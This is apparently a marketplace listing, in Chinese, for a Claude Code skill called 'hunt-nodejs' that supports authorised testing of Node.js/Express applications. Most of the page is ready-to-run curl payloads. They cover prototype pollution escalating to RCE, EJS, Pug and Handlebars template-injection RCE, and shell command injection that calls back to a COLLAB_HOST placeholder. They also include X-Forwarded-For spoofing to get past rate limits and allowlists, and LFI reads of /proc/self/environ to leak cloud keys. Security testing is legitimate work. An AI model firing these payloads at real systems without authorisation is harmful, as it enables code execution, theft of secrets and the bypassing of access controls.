mcpField
H
hunt-nodejs

hunt-nodejs

github.com/uphiago安全1.3k42 次安装8 周前更新
代码仓库

关于 hunt-nodejs

hunt-nodejs 是面向安全研究人员的 Node.js 应用测试技能,提供指纹识别和漏洞验证流程,涵盖原型污染、信任代理误用、模板注入、命令注入及本地文件暴露。

主要功能

  1. 01识别 Node.js 和 Express 目标
  2. 02检测原型污染
  3. 03测试原型污染到 RCE 的链路
  4. 04评估 Express 信任代理行为
  5. 05检查模板与 Shell 注入
  6. 06探测 LFI 相关进程文件暴露

适用场景

  1. 01在授权测试中评估 Node.js 应用
  2. 02检查原型污染是否到达危险调用点
  3. 03测试伪造转发 IP 是否绕过控制
  4. 04验证疑似模板或命令注入

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-nodejs

安装后在 Claude Code 中输入/hunt-nodejs确认已加载。

详细介绍

HUNT-NODEJS — Node.js 特定漏洞

皇冠明珠目标

在 Node.js 后端中,原型污染到达危险函数 = 严重级别的 RCE。

最高价值攻击链:

  • 原型污染 → RCE — 通过 lodash.merge / Object.assign 注入 __proto__ → 被污染的原型到达 child_process.exec 或 vm.runInNewContext 危险函数
  • Express 信任代理 — 未经验证就设置 app.set('trust proxy', true) → 攻击者设置 X-Forwarded-For,绕过 IP 允许列表或速率限制
  • EJS/Pug SSTI — 模板引擎接收用户输入 → {{= process.mainModule.require('child_process').execSync('id') }}
  • child_process 注入 — 将用户输入插入 shell 命令字符串 → OS 命令注入
  • require() 路径遍历 — 攻击者控制模块路径 → 将任意文件作为 JS 加载

攻击面信号

X-Powered-By: Express           Confirms Express.js
Node.js in error messages        Runtime detected
package.json exposed             Dependency list + versions
/proc/self/environ accessible    Environment variable exfil
Error stack traces with .js paths  Node.js confirmed
__proto__ in JSON accepted        Prototype pollution candidate

阶段 1 — 指纹识别

# Confirm Node.js/Express
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"

# Check for package.json / node_modules exposure
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/package.json"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/package-lock.json"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/node_modules/.package-lock.json"

# Error-based version detection
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"

阶段 2 — 原型污染检测

# JSON body injection — test if __proto__ is accepted
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": "yes"}}'

# Constructor prototype
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/settings \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# URL query param injection (qs library)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/data?constructor[prototype][admin]=1"

# Confirm pollution: does a subsequent request reflect the polluted key?
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"

阶段 3 — 原型污染 → RCE 攻击链

# If pollution is confirmed, attempt to reach dangerous sinks

# Sink 1: child_process via options.shell pollution
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/update \
  -H "Content-Type: application/json" \
  -d '{
    "__proto__": {
      "shell": "node",
      "NODE_OPTIONS": "--require /proc/self/fd/0",
      "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
    }
  }'

# Sink 2: lodash template pollution (CVE-2021-23337)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'

# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/template \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'

# OOB confirmation — check Interactsh for callback

阶段 4 — 滥用 Express 信任代理

# If Express has trust proxy enabled, X-Forwarded-For is trusted
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?

# Spoof IP to 127.0.0.1 (localhost bypass)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/admin/action \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "Content-Type: application/json" \
  -d '{"action": "test"}'

# Spoof to internal IP range
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/internal \
  -H "X-Forwarded-For: 10.0.0.1" \
  -H "X-Real-IP: 10.0.0.1"

# Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
  curl --max-time 30 --connect-timeout 10 -s https://$TARGET/api/login \
    -H "X-Forwarded-For: 1.2.3.$i" \
    -d '{"email":"[email protected]","password":"wrong"}' \
    -o /dev/null -w "$i: %{http_code}\n"
done

阶段 5 — 模板引擎 SSTI(EJS / Pug / Handlebars)

# EJS SSTI — if user input reaches EJS template context
# Test basic: <%= 7*7 %> should return 49
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= 7*7 %>"}'

# EJS RCE payload
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'

# Pug SSTI
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'

# Handlebars — prototype pollution via template
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'

阶段 6 — child_process 命令注入

# Look for endpoints that run shell commands with user input
# Signals: /api/convert, /api/exec, /api/ping, /api/scan

# Basic injection test
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/ping?host=127.0.0.1;id"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/exec \
  -H "Content-Type: application/json" \
  -d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'

# OOB via DNS
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"

阶段 7 — /proc/self/environ 数据窃取

# If LFI exists on Node.js app, /proc/self/environ leaks env vars
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/file?path=/proc/self/environ"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/read?file=../../../../proc/self/environ"

# Also check:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/file?path=/proc/self/cmdline"  # full command-line
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/file?path=/proc/self/cwd"       # working directory

攻击链表

Node.js 漏洞发现攻击链目标影响
确认存在原型污染查找 RCE 危险函数(child_process、eval)严重级别的 RCE
Express 信任代理绕过 IP 允许列表 / 速率限制绕过身份验证 / 绕过 DoS 防护
模板引擎中存在 SSTI执行 OS 命令严重级别的 RCE
child_process 注入id && curl COLLAB_HOST严重级别的 RCE
通过 LFI 读取 /proc/self/environ泄露 AWS_ACCESS_KEY_ID云环境遭攻陷

验证

✅ 原型污染:后续 API 响应中出现了未随请求发送的键
✅ RCE 攻击链:收到 OOB 回调,或响应中出现 id 的输出
✅ 信任代理:接受伪造 IP,且能绕过速率限制或允许列表

严重程度:

  • 原型污染 → RCE:严重
  • SSTI → RCE:严重
  • child_process 注入:严重
  • 信任代理 → 绕过速率限制:中等
  • /proc/self/environ 数据窃取:高(存在云密钥时)

验证检查

运行以下自测,确认 nodejs 漏洞搜寻已就绪:

  1. 技能完整性 — 确认技能文件可读且格式正确:

    grep -q "name: hunt-nodejs" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能包含类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱部分 — 确认已记录常见陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

这 3 项测试可验证技能结构正确且已准备就绪。


常见陷阱

  • 原型污染但没有利用点 — __proto__ 注入只是一种原语。需要利用点链才能实现 RCE、绕过身份验证或 XSS。
  • 输入为静态内容的 eval — eval("'use strict'; ...") 不可利用。需要动态且可由用户控制的输入。
  • 没有用户输入的 child_process — exec("ls -la") 不可利用,除非命令包含用户输入。
  • 服务端 JavaScript 注入(SSJI) — 与原型污染不同。应区分这两类攻击。

相关技能

  • hunt-api-misconfig — 原型污染是 API 配置错误与 Node.js 特有危险接收点共用的根本原因类别。利用链原语:接受 __proto__ 的 JSON 合并 → hunt-api-misconfig 中的批量赋值模式(额外的控制器参数)→ 管理员字段污染用户对象。
  • hunt-rce — 原型污染影响到 child_process 或 vm.runInThisContext 时,即可导致 RCE。利用链原语:通过 shell:true 或 NODE_OPTIONS: "--require /proc/self/fd/0" 污染 __proto__ → child_process.spawn 使用攻击者控制的环境 → 执行任意命令。
  • hunt-ssti — EJS、Pug 和 Handlebars SSTI 是 Node.js 特有的 RCE 攻击向量。利用链原语:模板引擎通过 render() 接收未清理的用户输入选项 → outputFunctionName 污染(EJS CVE-2022-29078)→ process.mainModule.require('child_process').execSync('id')。
  • hunt-lfi — Node.js LFI 通常会触达 require() 路径遍历或 res.sendFile() 接收点。利用链原语:Express 静态文件服务上的 ?file=../../../etc/passwd → 读取配置;require(userPath) → 将攻击者控制的 JS 文件作为模块加载 → RCE。
  • hunt-ssrf — Express http-proxy-middleware 的通配符目标配置是 Node.js SSRF 攻击向量。利用链原语:将代理目标设为用户输入 → 将请求转发到内部服务 → 读取云元数据或内部管理面板。
  • hunt-brute-force — Express trust proxy 配置错误会使基于 IP 的速率限制失效。利用链原语:app.set('trust proxy', true) + X-Forwarded-For: 127.0.0.1 → 攻击者轮换伪造的 IP,绕过登录速率限制。
  • security-arsenal — 使用 Node.js 原型污染 gadget 树(lodash.merge、Object.assign、qs.parse、express-formidable、cookie-parser 合并模式)以及 EJS/Pug/Handlebars SSTI 载荷包。
  • triage-validation — 声称原型污染导致 Critical RCE 前,先应用 Pre-Severity Gate。污染 __proto__ 只是一个原语——只有当它影响到会将被污染属性解析为命令、环境变量或选项的接收点时,才属于 Critical。撰写报告前,先通过 OOB 回调证明该接收点可达。

评论

支持 Markdown